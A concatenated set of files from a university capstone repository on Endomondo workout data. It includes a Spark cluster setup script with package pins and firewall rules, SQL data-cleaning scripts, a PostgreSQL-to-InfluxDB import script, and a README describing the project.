linux-headers-4.4.0-72-generic=4.4.0-72.93 A
linux-headers-4.4.0-75=4.4.0-75.96 A
linux-headers-4.4.0-75-generic=4.4.0-75.96 A
linux-headers-generic=4.4.0.77.83 A
linux-headers-virtual=4.4.0.77.83 A
linux-image-4.4.0-64-generic=4.4.0-64.85 A
linux-image-4.4.0-66-generic=4.4.0-66.87 A
linux-image-4.4.0-70-generic=4.4.0-70.91 A
linux-image-4.4.0-71-generic=4.4.0-71.92 A
linux-image-4.4.0-72-generic=4.4.0-72.93 A
linux-image-4.4.0-75-generic=4.4.0-75.96 A
linux-image-virtual=4.4.0.77.83 A
linux-libc-dev=4.4.0-77.98
linux-virtual=4.4.0.77.83
lldb-3.9=1:3.9.1~svn288847-1~exp1
llvm-3.9=1:3.9.1~svn288847-1~exp1 A
llvm-3.9-dev=1:3.9.1~svn288847-1~exp1 A
llvm-3.9-runtime=1:3.9.1~svn288847-1~exp1 A
locales=2.23-0ubuntu7
login=1:4.2-3.1ubuntu5
logrotate=3.8.7-2ubuntu2
lsb-base=9.20160110ubuntu0.2
lsb-release=9.20160110ubuntu0.2
lshw=02.17-1.1ubuntu3.2
lsof=4.89+dfsg-0.1
ltrace=0.7.3-5.1ubuntu4
lvm2=2.02.133-1ubuntu10
lxc-common=2.0.7-0ubuntu1~16.04.2
lxcfs=2.0.6-0ubuntu1~16.04.1
lxd=2.0.9-0ubuntu1~16.04.2
lxd-client=2.0.9-0ubuntu1~16.04.2
make=4.1-6 A
makedev=2.3.1-93ubuntu2~ubuntu16.04.1
man-db=2.7.5-1
manpages=4.04-2
manpages-dev=4.04-2 A
mawk=1.3.3-17ubuntu2
mdadm=3.3-2ubuntu7.2
mime-support=3.59ubuntu1
mlocate=0.26-1ubuntu2
mount=2.27.1-6ubuntu3.2
mtr-tiny=0.86-1ubuntu0.1
multiarch-support=2.23-0ubuntu7
nano=2.5.3-2ubuntu2
ncdu=1.11-1build1
ncurses-base=6.0+20160213-1ubuntu1
ncurses-bin=6.0+20160213-1ubuntu1
ncurses-term=6.0+20160213-1ubuntu1
net-tools=1.60-26ubuntu1
netbase=5.3
netcat-openbsd=1.105-7ubuntu1
netfilter-persistent=1.0.4 A
ntfs-3g=1:2015.3.14AR.1-1ubuntu0.1
open-iscsi=2.0.873+git0.3b4b4500-14ubuntu3.3
open-vm-tools=2:10.0.7-3227872-5ubuntu1~16.04.1
openssh-client=1:7.2p2-4ubuntu2.1
openssh-server=1:7.2p2-4ubuntu2.1
openssh-sftp-server=1:7.2p2-4ubuntu2.1
openssl=1.0.2g-1ubuntu4.6
os-prober=1.70ubuntu3.3 A
overlayroot=0.27ubuntu1.3
parted=3.2-15
passwd=1:<PASSWORD>
pastebinit=1.5-1
patch=2.7.5-1
pciutils=1:3.3.1-1.1ubuntu1.1
perl=5.22.1-9
perl-base=5.22.1-9
perl-modules-5.22=5.22.1-9
pkg-config=0.29.1-0ubuntu1 A
plymouth=0.9.2-3ubuntu13.1
plymouth-theme-ubuntu-text=0.9.2-3ubuntu13.1
policykit-1=0.105-14.1
pollinate=4.23-0ubuntu1~16.04.1
popularity-contest=1.64ubuntu2
postgresql-9.5=9.5.6-0ubuntu0.16.04
postgresql-client-9.5=9.5.6-0ubuntu0.16.04 A
postgresql-client-common=173 A
postgresql-common=173 A
postgresql-contrib-9.5=9.5.6-0ubuntu0.16.04 A
postgresql-server-dev-9.5=9.5.6-0ubuntu0.16.04
powermgmt-base=1.31+nmu1
procps=2:3.3.10-4ubuntu2.3
psmisc=22.21-2.1build1
pypy=5.1.2+dfsg-1~16.04
pypy-dev=5.1.2+dfsg-1~16.04
pypy-lib=5.1.2+dfsg-1~16.04 A
python=2.7.11-1
python-all=2.7.11-1 A
python-all-dev=2.7.11-1 A
python-apt-common=1.1.0~beta1build1
python-dev=2.7.11-1 A
python-lldb-3.9=1:3.9.1~svn288847-1~exp1 A
python-minimal=2.7.11-1 A
python-pip=8.1.1-2ubuntu0.4
python-pip-whl=8.1.1-2ubuntu0.4 A
python-pkg-resources=20.7.0-1 A
python-setuptools=20.7.0-1 A
python-six=1.10.0-3 A
python-wheel=0.29.0-1 A
python2.7=2.7.12-1ubuntu0~16.04.1 A
python2.7-dev=2.7.12-1ubuntu0~16.04.1 A
python2.7-minimal=2.7.12-1ubuntu0~16.04.1 A
python3=3.5.1-3
python3-apport=2.20.1-0ubuntu2.5
python3-apt=1.1.0~beta1build1
python3-blinker=1.3.dfsg2-1build1
python3-cffi-backend=1.5.2-1ubuntu1
python3-chardet=2.3.0-2
python3-commandnotfound=0.3ubuntu16.04.2
python3-configobj=5.0.6-2
python3-cryptography=1.2.3-1ubuntu0.1
python3-dbus=1.2.0-3
python3-debian=0.1.27ubuntu2
python3-distupgrade=1:16.04.21
python3-gdbm=3.5.1-1
python3-gi=3.20.0-0ubuntu1
python3-idna=2.0-3
python3-jinja2=2.8-1
python3-json-pointer=1.9-3
python3-jsonpatch=1.19-3
python3-jwt=1.3.0-1
python3-markupsafe=0.23-2build2
python3-minimal=3.5.1-3
python3-newt=0.52.18-1ubuntu2
python3-oauthlib=1.0.3-1
python3-pkg-resources=20.7.0-1
python3-prettytable=0.7.2-3
python3-problem-report=2.20.1-0ubuntu2.5
python3-pyasn1=0.1.9-1
python3-pycurl=7.43.0-1ubuntu1
python3-requests=2.9.1-3
python3-serial=3.0.1-1
python3-six=1.10.0-3
python3-software-properties=0.96.20.6
python3-systemd=231-2build1
python3-update-manager=1:16.04.6
python3-urllib3=1.13.1-2ubuntu0.16.04.1
python3-yaml=3.11-3build1
python3.5=3.5.2-2ubuntu0~16.04.1
python3.5-minimal=3.5.2-2ubuntu0~16.04.1
readline-common=6.3-8ubuntu2
rename=0.20-4
resolvconf=1.78ubuntu4
rsync=3.1.1-3ubuntu1
rsyslog=8.16.0-1ubuntu3
run-one=1.17-0ubuntu1
screen=4.3.1-2build1
sed=4.2.2-7
sensible-utils=0.0.9
sgml-base=1.26+nmu4ubuntu1
shared-mime-info=1.5-2ubuntu0.1
snap-confine=2.24.1 A
snapd=2.24.1
software-properties-common=0.96.20.6
sosreport=3.2+git276-g7da50d6-3ubuntu1
squashfs-tools=1:4.3-3ubuntu2
ssh-import-id=5.5-0ubuntu1
ssl-cert=1.0.37 A
strace=4.11-1ubuntu3
sudo=1.8.16-0ubuntu1.3
sysstat=11.2.0-1ubuntu0.1 A
systemd=229-4ubuntu17
systemd-sysv=229-4ubuntu17
sysv-rc=2.88dsf-59.3ubuntu2
sysvinit-utils=2.88dsf-59.3ubuntu2
tar=1.28-2.1ubuntu0.1
tcpd=7.6.q-25
tcpdump=4.9.0-1ubuntu1~ubuntu16.04.1
telnet=0.17-40
time=1.7-25.1
tmux=2.1-3build1
tzdata=2016j-0ubuntu0.16.04
ubuntu-cloudimage-keyring=2013.11.11
ubuntu-core-launcher=2.24.1
ubuntu-keyring=2012.05.19
ubuntu-minimal=1.361
ubuntu-release-upgrader-core=1:16.04.21
ubuntu-server=1.361
ubuntu-standard=1.361
ucf=3.0036
udev=229-4ubuntu17
ufw=0.35-0ubuntu2
uidmap=1:4.2-3.1ubuntu5
unattended-upgrades=0.90ubuntu0.3
update-manager-core=1:16.04.6
update-notifier-common=3.168.4
ureadahead=0.100.0-19
usbutils=1:007-4
util-linux=2.27.1-6ubuntu3.2
uuid-runtime=2.27.1-6ubuntu3.2
vim=2:7.4.1689-3ubuntu1.2
vim-common=2:7.4.1689-3ubuntu1.2
vim-runtime=2:7.4.1689-3ubuntu1.2
vim-tiny=2:7.4.1689-3ubuntu1.2
vlan=1.9-3.2ubuntu1.16.04.1
wget=1.17.1-1ubuntu1.2
whiptail=0.52.18-1ubuntu2
x11-apps=7.7+5+nmu1ubuntu1
x11-common=1:7.7+13ubuntu3 A
xauth=1:1.0.9-1ubuntu2
xbitmaps=1.1.1-2 A
xdg-user-dirs=0.15-2ubuntu6
xfsprogs=4.3.0+nmu1ubuntu1
xkb-data=2.16-1ubuntu1
xml-core=0.13+nmu2
xz-utils=5.1.1alpha+20120614-2ubuntu2
zerofree=1.0.3-1
zlib1g=1:1.2.8.dfsg-2ubuntu4
zlib1g-dev=1:1.2.8.dfsg-2ubuntu4
EOL
cat >> restore-package-versions <<EOL
#!/bin/sh
list=\$1
shift
aptitude -q -R --schedule-only install \$(awk < \$list '{print \$1}')
aptitude -q -R --schedule-only markauto \$(awk < \$list '\$2=="A" {split(\$1,A,"=");print A[1]}')
EOL
apt install aptitude
cat >> /etc/apt/sources.list <<EOL
deb http://apt.llvm.org/xenial/ llvm-toolchain-xenial-3.9 main
# deb-src http://apt.llvm.org/xenial/ llvm-toolchain-xenial-3.9 main
EOL
wget -O - http://apt.llvm.org/llvm-snapshot.gpg.key| apt-key add -
aptitude update
./restore-package-versions apt.packages
aptitude -y -o Dpkg::Options::="--force-confdef" install
aptitude install liblldb-3.9-dev libobjc-5-dev llvm-3.9-dev libobjc4 python-lldb-3.9 python-six liblldb-3.9-dev libobjc-5-dev libobjc4 python-lldb-3.9
./restore-package-versions apt.packages
aptitude -y -o Dpkg::Options::="--force-confdef" install
cat > /etc/iptables/rules.v4 <<EOL
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -s 172.31.29.1 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m recent --set --name ssh --mask 255.255.255.255 --rsource
-A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m recent --update --seconds 120 --hitcount 10 --name ssh --mask 255.255.255.255 --rsource -j REJECT --reject-with tcp-reset
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
-A INPUT -j REJECT --reject-with icmp-host-prohibited
COMMIT
EOL
iptables-restore /etc/iptables/rules.v4
cat >> pip_versions.txt <<EOL
backports-abc==0.5
backports.shutil-get-terminal-size==1.0.0
bleach==1.5.0
bokeh==0.12.5
certifi==2017.1.23
configparser==3.5.0
cycler==0.10.0
decorator==4.0.11
entrypoints==0.2.2
enum34==1.1.6
funcsigs==1.0.2
functools32==3.2.3.post2
futures==3.1.1
gmaps==0.4.0
html5lib==0.9999999
influxdb==4.0.0
ipykernel==4.5.2
ipython==5.2.2
ipython-genutils==0.1.0
ipywidgets==5.2.2
Jinja2==2.9.5
jsonschema==2.6.0
jupyter==1.0.0
jupyter-client==4.4.0
jupyter-console==5.1.0
jupyter-core==4.3.0
llvmlite==0.16.0
MarkupSafe==0.23
matplotlib==2.0.0
mistune==0.7.3
nbconvert==5.1.1
nbformat==4.2.0
notebook==4.4.1
numba==0.31.0
numpy==1.12.0
pandas==0.19.2
pandocfilters==1.4.1
pathlib2==2.2.1
pexpect==4.2.1
pickleshare==0.7.4
prompt-toolkit==1.0.13
psycopg2==2.6.2
ptyprocess==0.5.1
Pygments==2.2.0
pyparsing==2.1.10
python-dateutil==2.6.0
pytz==2016.10
PyYAML==3.12
pyzmq==16.0.2
qtconsole==4.2.1
rdp==0.8
requests==2.13.0
scandir==1.4
scikit-learn==0.18.1
scipy==0.18.1
simplegeneric==0.8.1
singledispatch==3.4.0.3
six==1.10.0
sklearn==0.0
subprocess32==3.2.7
terminado==0.6
testpath==0.3
timezonefinder==1.5.7
tornado==4.4.2
traitlets==4.3.1
ujson==1.35
wcwidth==0.1.7
widgetsnbextension==1.2.6
EOL
pip install --upgrade pip
export LLVM_CONFIG=`which llvm-config-3.9`
pip install -r pip_versions.txt
cat >> /etc/environment <<EOL
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"
JAVA_HOME=/opt/java/jdk1.8.0_121
EOL
mkdir /opt/java
mkdir /opt/spark
cd /opt/java
wget http://ftp.osuosl.org/pub/funtoo/distfiles/oracle-java/jdk-8u121-linux-x64.tar.gz
tar xvzf jdk-8u121-linux-x64.tar.gz
cd /opt/spark
wget http://apache.claz.org/spark/spark-2.1.0/spark-2.1.0-bin-hadoop2.7.tgz
tar xvzf spark-2.1.0-bin-hadoop2.7.tgz
## As ubuntu user
###=== add to ~/.profile before final PATH line
export PATH="$PATH:/opt/spark/spark-2.1.0-bin-hadoop2.7/bin"
export PYSPARK_DRIVER_PYTHON=jupyter
export PYSPARK_DRIVER_PYTHON_OPTS=notebook
export SPARK_PATH=/opt/spark/spark-2.1.0-bin-hadoop2.7
###=== END
sudo mkdir /opt/spark/spark-2.1.0-bin-hadoop2.7/{logs,work}
sudo chmod 777 /opt/spark/spark-2.1.0-bin-hadoop2.7/{logs,work}
cd spark-2.1.0-bin-hadoop2.7/sbin/
# Make sure master node started
./start-slave.sh spark://172.31.29.1:7077
<file_sep>--##################################################################
--# Run
--##################################################################
--# REMOVE DUPES.
select count(*) from run group by altitude, heart_rate, latitude, longitude, speed, workoutid, time having count(*) > 1;
--# Need to remove them.
ALTER TABLE run ADD COLUMN id SERIAL PRIMARY KEY;
DELETE FROM run
WHERE id IN (SELECT id
FROM (SELECT id,
ROW_NUMBER() OVER (partition BY altitude, heart_rate, latitude, longitude, speed, workoutid, time ORDER BY id) AS rnum
FROM run) t
WHERE t.rnum > 1);
ALTER TABLE run drop column id;
--# DELETE 136,868
select count(*) from run group by altitude, heart_rate, latitude, longitude, speed, workoutid, time having count(*) > 1;
--##################################################################
--##################################################################
--## First speed deriv is garbage - action :
--# Many < 0 speed look like a false negative, so lets make them positive
update run set speed = speed * -1 where speed < 0;
--# UPDATE 1422
--# Get average:
SELECT avg(speed) AS average FROM run where speed < 50 and speed > 0;
--# Use this value as default value
--# Still too many > 50kph (30mph, no one that fast).
--# 3,465 workouts with one or more speed entries over 50.
--# 28,342 / 139,920,713. Just set them to 10 (as it is .02% of the entries)
update run set speed = 10 where speed > 50;
endomondo=# select * from histogram('speed', 'run');
bucket | range | freq | bar
--------+-------------------------------+----------+-----------------
1 | [0.0000000000,2.4999998000] | 1442567 | *
2 | [2.5000000000,4.9999995000] | 1683932 | *
3 | [5.0000000000,7.4999995000] | 4073669 | **
4 | [7.5000000000,9.9999990000] | 13902965 | ********
5 | [10.0000000000,12.4999950000] | 25086432 | ***************
6 | [12.5000000000,14.9999990000] | 12160945 | *******
7 | [15.0000000000,17.4999660000] | 2931645 | **
8 | [17.5000000000,19.9999800000] | 734838 |
9 | [20.0000000000,22.4999980000] | 267828 |
10 | [22.5000000000,24.9999050000] | 158415 |
11 | [25.0000000000,27.4998100000] | 116425 |
12 | [27.5000200000,29.9999710000] | 89660 |
13 | [30.0000000000,32.4999120000] | 69591 |
14 | [32.5002200000,34.9997940000] | 50037 |
15 | [35.0000000000,37.4994280000] | 34776 |
16 | [37.5000000000,39.9996760000] | 24732 |
17 | [40.0001070000,42.4999240000] | 18246 |
18 | [42.5002860000,44.9999960000] | 11817 |
19 | [45.0000000000,47.4984000000] | 47965 |
20 | [47.5019000000,49.9968000000] | 2663 |
21 | [50.0000000000,50.0000000000] | 2 |
--# Much better, generate first deriv again
select now();
with dev_list as (
select round((speed_difference / time_difference),5) as deriv,
time,
workoutid
from (
select speed_difference,
case when time_difference = 0 then 1 else time_difference end as time_difference,
time,
workoutid
from (
select speed - lag(speed) over (partition by workoutid order by time) as speed_difference,
time - lag(time) over (partition by workoutid order by time) as time_difference,
speed,
time,
workoutid
from run order by time)
as foo)
as bar
order by workoutid,
time )
update run r1
set speed_first = d1.deriv
from dev_list as d1
where d1.workoutid = r1.workoutid and
d1.time = r1.time;
select now();
--##################################################################
--##################################################################
--## First altitude deriv is garbage - action :
select count(*) from (
with dev_list as (
select avg(altitude), stddev(altitude), workoutid from run group by workoutid )
select altitude, r1.workoutid
from run r1
join dev_list d1 on (d1.workoutid = r1.workoutid)
where r1.altitude < d1.avg - d1.stddev * 2 or r1.altitude > d1.avg + d1.stddev * 2)
as foo;
--# 3,634,305 / 139,920,713 ( 2.5% )
--# Too High
with dev_list as (
select avg(altitude), stddev(altitude), workoutid from run group by workoutid )
update run as r1
set altitude = d1.avg - (d1.stddev * 2)
from dev_list as d1
where d1.workoutid = r1.workoutid and r1.altitude < d1.avg - (d1.stddev * 2);
--# UPDATE 1363506
--# Too Low
with dev_list as (
select avg(altitude), stddev(altitude), workoutid from run group by workoutid )
update run as r1
set altitude = d1.avg + (d1.stddev * 2)
from dev_list as d1
where d1.workoutid = r1.workoutid and r1.altitude > d1.avg + (d1.stddev * 2);
--# UPDATE 2364011
select count(*) from (
with dev_list as (
select avg(altitude), stddev(altitude), workoutid from bike group by workoutid )
select altitude, r1.workoutid
from bike r1
join dev_list d1 on (d1.workoutid = r1.workoutid)
where r1.altitude < d1.avg - d1.stddev * 2 or r1.altitude > d1.avg + d1.stddev * 2) as foo;
--# 3,290,430 / 111,494,911 ( 2.9% )
--# Too High
with dev_list as (
select avg(altitude), stddev(altitude), workoutid from bike group by workoutid )
update bike as r1
set altitude = d1.avg - (d1.stddev * 2)
from dev_list as d1
where d1.workoutid = r1.workoutid and r1.altitude < d1.avg - (d1.stddev * 2);
--# UPDATE 825254
--# Too Low
with dev_list as (
select avg(altitude), stddev(altitude), workoutid from bike group by workoutid )
update bike as r1
set altitude = d1.avg + (d1.stddev * 2)
from dev_list as d1
where d1.workoutid = r1.workoutid and r1.altitude > d1.avg + (d1.stddev * 2);
--# UPDATE 2510788
--##### Update deriv post cleaning
select now();
with dev_list as (
select round((alt_difference / time_difference),5) as deriv, time, workoutid from (
select alt_difference, case when time_difference = 0 then 1 else time_difference end as time_difference, altitude_first, time, workoutid, altitude from (
select altitude - lag(altitude) over (partition by workoutid order by time) as alt_difference, time - lag(time) over (partition by workoutid order by time) as time_difference, altitude, altitude_first, time, workoutid from run order by time)
as foo)
as bar order by workoutid, time )
update run r1
set altitude_first = d1.deriv
from dev_list as d1
where d1.workoutid = r1.workoutid and d1.time = r1.time;
select now();
--##################################################################
--##################################################################
--## Second altitude deriv is garbage - action :
--##### Update deriv post cleaning
select now();
with dev_list as (
select round((alt_difference / time_difference),5) as deriv, time, workoutid from (
select alt_difference, case when time_difference = 0 then 1 else time_difference end as time_difference, altitude_first, time, workoutid, altitude from (
select altitude_first - lag(altitude_first) over (partition by workoutid order by time) as alt_difference, time - lag(time) over (partition by workoutid order by time)
as time_difference, altitude, altitude_first, time, workoutid from run order by time)
as foo)
as bar order by workoutid, time )
update run r1
set altitude_second = d1.deriv
from dev_list as d1
where d1.workoutid = r1.workoutid and d1.time = r1.time;
select now();
--##################################################################
--##################################################################
--## Elapsed distance is garbage - action :
select * from histogram('elapsed_distance', 'run');
--##################################################################
--##################################################################
--## Elapsed time is garbage - action :
select * from histogram('elapsed_time', 'run');
--##################################################################
--##################################################################
--## Speed ma 50 is garbage - action :
select now();
with dev_list as (
select time,
workoutid,
avg(speed) over (partition by workoutid order by time rows between 50 preceding and current row) as mavg
from run
order by time
)
update run r1 set speed_ma_50 = d1.mavg from dev_list as d1 where d1.workoutid = r1.workoutid and d1.time = r1.time;
select now();
select * from histogram('speed_ma_50', 'run');
--##################################################################
--##################################################################
--## Speed ma 100 is garbage - action :
select now();
with dev_list as (
select time,
workoutid,
avg(speed) over (partition by workoutid order by time rows between 100 preceding and current row) as mavg
from run
order by time
)
update run r1 set speed_ma_100 = d1.mavg from dev_list as d1 where d1.workoutid = r1.workoutid and d1.time = r1.time;
select now();
select * from histogram('speed_ma_100', 'run');
endomondo=# select * from histogram('speed_ma_100', 'run');
bucket | range | freq | bar
--------+---------------------+----------+-----------------
1 | [0.00000,2.49974] | 686047 |
2 | [2.49975,4.99948] | 990245 | *
3 | [4.99949,7.49923] | 3381778 | **
4 | [7.49924,9.99897] | 15629177 | ********
5 | [9.99898,12.49872] | 28507860 | ***************
6 | [12.49873,14.99846] | 11102980 | ******
7 | [14.99847,17.49821] | 1721597 | *
8 | [17.49824,19.99795] | 307940 |
9 | [19.99796,22.49770] | 161704 |
10 | [22.49771,24.99742] | 111873 |
11 | [24.99749,27.49717] | 88734 |
12 | [27.49720,29.99688] | 81643 |
13 | [29.99695,32.49654] | 67191 |
14 | [32.49681,34.99640] | 34761 |
15 | [34.99649,37.49596] | 14106 |
16 | [37.49623,39.99556] | 6413 |
17 | [39.99609,42.49466] | 4575 |
18 | [42.49733,44.99406] | 5257 |
19 | [44.99608,47.47320] | 5164 |
20 | [47.49917,49.85640] | 103 |
21 | [49.99490,49.99490] | 2 |
--##################################################################
--##################################################################
--## Heart rate ma 25 is garbage - action :
select now();
with dev_list as (
select time,
workoutid,
avg(heart_rate) over (partition by workoutid order by time rows between 25 preceding and current row) as mavg
from run
order by time
)
update run r1 set heart_rate_ma_25 = d1.mavg from dev_list as d1 where d1.workoutid = r1.workoutid and d1.time = r1.time;
select now();
select * from histogram('heart_rate_ma_25', 'run');
--##################################################################
--# BIKE - TBD
--##################################################################
--# Remove dupes
ALTER TABLE bike ADD COLUMN id SERIAL PRIMARY KEY;
DELETE FROM bike
WHERE id IN (SELECT id
FROM (SELECT id,
ROW_NUMBER() OVER (partition BY altitude, heart_rate, latitude, longitude, speed, workoutid, time ORDER BY id) AS rnum
FROM bike) t
WHERE t.rnum > 1);
ALTER TABLE bike drop column id;
--# DELETE 23,293
--# BIKE
update bike set speed = speed * -1 where speed < 0;
UPDATE 505
SELECT avg(speed) AS average FROM bike where speed < 110 and speed > 0;
--# > 110 kph (70 mph) pretty unrealistic for a bike. Use that as cutoff.
--# 6,658 / 111,494,911 ( .006% ) set them to 25.
update bike set speed = 25 where speed > 110;
--# re-run first deriv generation on bike / run
<file_sep>from influxdb import InfluxDBClient
import copy
import numpy as np
import sys
import psycopg2
import sys
dbname = "endomondo"
client = InfluxDBClient('127.0.0.1', 8086, 'root', 'root', dbname)
try:
print("Drop database: " + dbname)
client.drop_database(dbname)
except:
pass
client.create_database(dbname)
client.create_retention_policy('awesome_policy', 'INF', 1, default=True)
conn = psycopg2.connect("dbname=endomondo")
cur = conn.cursor('influx-cursor-run')
cur.itersize = 10000
sport = "run"
cur.execute("select * from %s"%sport)
count = 0
print "start import:"
#for _endoHR in cur.fetchall():
for _endoHR in cur:
count += 1
if count%10000 == 0:
print count, "/ 140,060,246"
#time, alt, hr, lat, lng, speed, workoutid, id (, timef)
_points = []
_dict = {}
_dict["fields"] = {}
_dict["measurement"] = sport
_tags = {}
_tags["workoutId"] = _endoHR[6]
_dict["time"] = _endoHR[0]
if _endoHR[1] != None:
_dict["fields"]["altitude"] = _endoHR[1]
if _endoHR[2] != None:
_dict["fields"]["heart_rate"] = _endoHR[2]
if _endoHR[3] != None:
_dict["fields"]["latitude"] = _endoHR[3]
if _endoHR[4] != None:
_dict["fields"]["longitude"] = _endoHR[4]
if _endoHR[5] != None:
_dict["fields"]["speed"] = _endoHR[5]
if _dict["fields"] == {}:
continue
try:
client.write_points([_dict], time_precision='s', tags=_tags)
except:
print _dict
print _tags
break
<file_sep>vacuum (verbose, analyze) aerobics;
vacuum (verbose, analyze) american_football;
vacuum (verbose, analyze) badminton;
vacuum (verbose, analyze) baseball;
vacuum (verbose, analyze) basketball;
vacuum (verbose, analyze) beach_volleyball;
vacuum (verbose, analyze) bike;
vacuum (verbose, analyze) bike_transport;
vacuum (verbose, analyze) boxing;
vacuum (verbose, analyze) circuit_training;
vacuum (verbose, analyze) climbing;
vacuum (verbose, analyze) core_stability_training;
vacuum (verbose, analyze) cricket;
vacuum (verbose, analyze) cross_country_skiing;
vacuum (verbose, analyze) dancing;
vacuum (verbose, analyze) downhill_skiing;
vacuum (verbose, analyze) elliptical;
vacuum (verbose, analyze) fencing;
vacuum (verbose, analyze) fitness_walking;
vacuum (verbose, analyze) golf;
vacuum (verbose, analyze) gymnastics;
vacuum (verbose, analyze) handball;
vacuum (verbose, analyze) hiking;
vacuum (verbose, analyze) hockey;
vacuum (verbose, analyze) horseback_riding;
vacuum (verbose, analyze) indoor_cycling;
vacuum (verbose, analyze) kayaking;
vacuum (verbose, analyze) kite_surfing;
vacuum (verbose, analyze) martial_arts;
vacuum (verbose, analyze) mountain_bike;
vacuum (verbose, analyze) orienteering;
vacuum (verbose, analyze) pilates;
vacuum (verbose, analyze) polo;
vacuum (verbose, analyze) roller_skiing;
vacuum (verbose, analyze) rowing;
vacuum (verbose, analyze) rugby;
vacuum (verbose, analyze) run;
vacuum (verbose, analyze) sailing;
vacuum (verbose, analyze) scuba_diving;
vacuum (verbose, analyze) skate;
vacuum (verbose, analyze) skateboarding;
vacuum (verbose, analyze) snowboarding;
vacuum (verbose, analyze) snowshoeing;
vacuum (verbose, analyze) soccer;
vacuum (verbose, analyze) squash;
vacuum (verbose, analyze) stair_climing;
vacuum (verbose, analyze) step_counter;
vacuum (verbose, analyze) surfing;
vacuum (verbose, analyze) swimming;
vacuum (verbose, analyze) table_tennis;
vacuum (verbose, analyze) tennis;
vacuum (verbose, analyze) treadmill_running;
vacuum (verbose, analyze) treadmill_walking;
vacuum (verbose, analyze) volleyball;
vacuum (verbose, analyze) walk;
vacuum (verbose, analyze) walk_transport;
vacuum (verbose, analyze) weight_lifting;
vacuum (verbose, analyze) weight_training;
vacuum (verbose, analyze) wheelchair;
vacuum (verbose, analyze) windsurfing;
vacuum (verbose, analyze) yoga;
<file_sep># 2017_UCSD_MSE_Group4_Fitness_Capstone
## Collection of notebooks, code, and other notes for the 2017 UCSD MAS Group 4 fitness tracking capstone project
#### Overview
```
├── ClusteringNotebooks
# Notebooks that execute clustering portion of pipeline
│ └── old
# Early attempts at clustering
├── DataLoadingNotebooks
# Notebooks that explain how the data was loaded into PostgreSQL
│ ├── FirstAttemptNotebooks
# Initial attempt at import
├── FeatureGenerationAndCleaningNotebooks
# Notebooks with code used to clean data and generate features
│ └── FirstPassFeatureGenerationAndCleaning
# First attempt to clean data and generate features
│ └── sql_scripts
# Second attempt at feature generation and cleaning in SQL
│ └── old
# First attempt at feature generation and cleaning in SQL
├── HandyUtilities
# Some utilities we wrote or found that were handy
├── Other
# Old CSV and notebooks included for completeness
├── Presentations
# Copies of progress presentations and reports
├── ReferenceEndomondoWorkouts
# Some workouts generated in Endomondo for reference
├── RegressionNotebooks
# Notebooks that execute regression portion of pipeline
├── SparkNotes
# Notes & scripts about the AWS Spark cluster
├── VisualizationNotebooks
# Notebooks that generate analysis and presentation visualizations
└── field_dictionary.txt
# File explaining the fields in the DB, their format, and where they came from
```
### Datasource Notes
The data in the PostgreSQL database dump was provided by our advisor, Dr <NAME>. It was scraped from Endomondo, and collected from: http://jmcauley.ucsd.edu/data/endomondo/. The individual files, in the format `[0-9]\*.txt.gz`, where used to generate the database. The data contains public workout data provided by the Endomondo API.
### Spark Notes
We stood up our own small spark cluster in AWS that consisted of one head node, that also stored our database, and three worker nodes. This kept our cost down, but did involve additional work.
The dashboard provided by modern versions of Spark was an extremely useful tool to track issues, and make sure code and cluster were working as expected.
Trouble we ran into:
- **Hive**. Spark wanted to right hive metastore files to one location. Running multiple instances at the same time caused trouble. Using the hive.xml config provided resolve that issue.
- **Single Spark Context**. We provided the entire cluster to each running job, but starting multiple PySpark instances caused any instance after the first to not have any available cluster resources. We simply communicated better, and made sure to only run one instance at a time.
- **Spark slave default memory**. By default the slaves only utilized a fraction of the memory they had available. Setting appropriate values in configs resolved this.
- **Firewall**. We found it easiest to allow all communication between all nodes, which is difficult in a large cluster configuration.
- **Verbose Logging**. By default the logging in Spark is verbose, and the log files utilized the limited disk space per node.
- **Cluster wide file access**. We did not set up a distributed filesystem such as GlusterFS across the nodes, so writing CSV files would result in them being randomly placed across the nodes.
## Database Notes
#### Dependencies
*PostgreSQL 9.6*
#### Summary
The data was divided up by workout type for the time series data (run, bike, etc), and a corresponding workout metadata table was created for each workout type (run_by_workout, bike_by_workout, etc) stores the metadata data for each unique workout.
PostgreSQL was used to store the data, with indexes the final version of the table utilized ~60GB of space.
The majority of time series data (~95% of records) is found in the 'bike' and 'run' tables.
The file `field_dictionary.txt` contains information on all the fields in each table.
The most recent copy of the database is stored externally of this repo due to it's size. It is labelled `endomondo.20170508.sql.gz` and is approximately 10GB. Uncompressed it takes up approximately 40GB. It can imported into PostgreSQL using `psql` utility.
The file `altitude_lookup.20170605.sql.gz` contains an incomplete mapping of latitude / longitude to altitude (meters) from an external API.
## Clustering Notes
#### Dependencies:
*PySpark v2.1.0*, *Python 2.7*
#### Summary:
The goal of the notebook is to utilize a two-step clustering method using K-Means based first on route attributes and then performance attributes. Each of the three route clusters has five dependent performance clusters. The notebook pulls data from Postgres into a PySpark dataframe, and normalizes the data using the Standard Scaler class in the PySpark ML library. By changing the scaling factor, attributes are weighted differently for the first, route based, clustering. By default, the route cluster centers will be saved in the file `route_clusters_6_2_2017_1.csv`. The CSV includes a header of column names.
Once the route clusters are established, each of them will be independently clustered based on performance attributes: speed, heart rate, and duration of workout. The centers of each performance cluster will be saved in the file `route0_perf.csv`. The numeric value after 'route' is the route cluster identifier to which it belongs. The combined dataframe, including the attributes of interest and the cluster values for route and performance, is saved in the file `endo_sample_6_2_1.csv`.
## Classifier Notes
#### Dependencies:
*PySpark v2.1.0*, *Python 2.7*, *Bokeh*
#### Summary:
